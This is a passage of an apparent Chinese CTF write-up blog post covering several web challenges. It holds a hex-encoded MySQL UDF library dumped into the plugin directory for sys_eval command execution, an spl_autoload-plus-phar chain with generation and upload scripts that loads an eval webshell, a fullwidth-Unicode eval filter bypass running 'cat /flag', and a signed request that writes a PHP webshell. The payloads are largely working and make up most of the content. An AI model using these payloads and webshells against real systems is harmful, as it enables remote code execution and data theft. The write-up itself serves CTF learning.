d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

绑定so文件

1	create function sys_eval returns string soname 'udf.so';

然后利用sys_eval命令执行，操作可参考ByteCTF 2021 Final SEO WP | penson

(比赛中早就想到这个思路但是我们本地测127.0.0.1一直3306显示没有打开，我们认为是自己的问题，然后利用file协议读了/etc/hosts获取了内网ip，然后读了D段上其他好多ip3306是开着的

Untitled

但是我们重启了几次靶机ip都是36我们也不知道是不是题目就是这么设置，

然后找了其他的3306起的打了一下发现读到100的flag

Untitled

就猜可能是我们题目环境出问题了，最后问了主办方发现好像因为资源满了导致mysql服务没起起来emmm)

SPL

比赛中没有做出来捏，赛后看着NULL的wp复现一下

思路：spl_autoload+phar

其中利用方法和强网杯rcefile利用方式类似

https://exp10it.cn/2022/08/2022-强网杯-web-部分-writeup/#rcefile

直接给了源码

index.php

<?php
session_start();
highlight_file(__FILE__);
error_reporting(0);
$upload = 'upload/'.md5("ctf".$_SERVER['REMOTE_ADDR']);
mkdir($upload);
chdir($upload);
file_put_contents('/index.php', '');

spl_autoload_register($_GET['func']);
if (isset($_GET['file']) && !preg_match('/ph(p|t)|htaccess|user/is', $_GET['file']) && !preg_match('/<\?/is', $_GET['data'])){
    file_put_contents($_GET['file'], $_GET['data']);
}

很明显问题应该在spl_autoload_register和file_put_contents两个函数的利用，但是file_put_contents过滤了ph等，无法直接写shell（file_put_contents('/index.php', '');

感觉出题人本来应该是想写在当前目录为了不看到目录）

首先是spl_autoload_register

Untitled

大概就是注册一个名为 __autoload() 的魔术方法，可以提供内置方法也可以是自己写的方法

这里我们重点看下面的参数部分

“如果没有提供任何参数，则自动注册 autoload 的默认实现函数spl_autoload()”

遂查阅 spl_autoload()

spl_autoload()

Untitled

简单来说就是一个类的自动加载器

如果我们使用了没有被定义的类时, spl_autoload() 会默认在当前目录和 include paths 下包含 [class].inc 或者 [class].php 文件来试图加载这个类

spl_autoload_register

配上

file_put_contents

的过滤文件名不能是ph，文件内容不能包含<?，而且file_put_contents是可以触发phar的，这样就可以调用不存在类了，我们让phar中的类名和写入的inc文件名一致就可以利用spl_autoload()去加载写入的inc

思路这样：

先利用file_put_contents在xxx.inc中写入webshell
利用file_put_contents写入phar文件，里面的类名和xxx.inc文件名一致
利用file_put_contents触发phar，利用spl_autoload()去加载xxx.inc

首先写入xxx.inc，func使用内置函数不报错了

?func=file_put_contents&file=xxx.inc&data=<script language="php">eval($_POST[1]);</script>

然后本地生成phar文件

<?php
class xxx {}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
#这里需要注意，本题对写入内容过滤了<?，平时设置stub一般都写得是"<?php __HALT_COMPILER();?>"
$phar->setStub("__HALT_COMPILER(); ?>"); //设置stub
$o = new xxx();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

利用脚本get传入文件

params1 = {
    'func': 'file_put_contents',
    'file': './test1.phar',
    'data': open('./phar.phar', 'rb').read()
}
r = requests.get(url,params=params1)
# #print(r.text)

然后利用phar和spl_autoload去触发xxx.inc

?func=spl_autoload&file=phar://./test1.phar/1.txt&data=111

POST:1=system("cat /Fl@g");

calc

eval注入+魔改字符

https://www.compart.com/en/unicode/search?q=fullwidth#characters

python一般计算都是用eval函数

知道过滤字母和啥的，利用unicode魔改字符

Untitled

字母可以使用unicode编码，但是这些特殊字符

"'_

无法使用unicode字符

可以通过bytes和list实现

ｅｖａｌ(ｂｙｔｅｓ(ｌｉｓｔ(())))

d3 = [ord(c) for c in list("__import__('os').popen('cat /flag').read()")]
str_encode = ",".join(map(str,d3))
print(str_encode)
#95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41

然后

calc=ｅｖａｌ(ｂｙｔｅｓ(ｌｉｓｔ((95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41))))

即可以获取flag了

login后面再补

GAME

D盾扫描漏洞文件
/server/game/BattleNetGateway.php

<?php 	
	require_once("interface.php");
	require_once("utils.php");
	require_once("BattleFunc.php");
	require_once("HeroFunc.php");
	require_once("BattleNetServices.php");
	define("BATTLE_NET_KEY","M7XDFCR9WRRGRQ9ETBQ6");
	if (!defined('PATH_SEPARATOR')) {if (substr(PHP_OS, 0, 3) == 'WIN') define('PATH_SEPARATOR', ';'); else define('PATH_SEPARATOR', ':');}	
	ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.realpath("../")); 	
	
	$param=$_POST;
	if(empty($param))$param=$_GET;		
	$from_uid=$param["from_uid"];	
	$sign=$param["sign"];
	$commandFunc=$param["commandFunc"];
	$content=urldecode($param["content"]);
	$content_encoding=$param["content-encoding"];
	//$tt=$from_uid.$commandFunc.$content.BATTLE_NET_KEY;
 
 
	
	$ret=array();
	if($sign!=md5($from_uid.$commandFunc.$content.BATTLE_NET_KEY)) 
		$ret[]=0;
	else{
		$ret[]=1;
	
		try{
			if($content_encoding=="csv"){
				$inputParams=explode("|",$content);
				if(count($inputParams)==1){
					$inputParams=$inputParams[0];
				}
				$ret[]=$commandFunc($from_uid,$inputParams);
			}else{
				$inputParams=json_decode($content,true);
				if(is_array($inputParams)&&count($inputParams)==1){
				     $inputParams=array_shift($inputParams);
				}
				$ret[]=$commandFunc($from_uid,$inputParams); 
			}
		}catch(Exception $e){
			$ret = array(0=>0);
			$ret[] = $e->getMessage();
	    }
	}
    if($content_encoding=="csv"){
    	print implode("|",$ret);
    }else{
    	print json_encode($ret);
    }
	 
?>

payload：
content-encoding=csv&content=<?php eval($_POST[1]);&commandFunc=file_put_contents&from_uid=shell.php&sign=212ad5db1fb9e0b4266f1a0b2fcafdb8

拿shell后面配置信息

Untitled

里面有数据库帐号密码

Untitled

Previous Post

cc1

CATALOG

1. Web
2. GAME



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true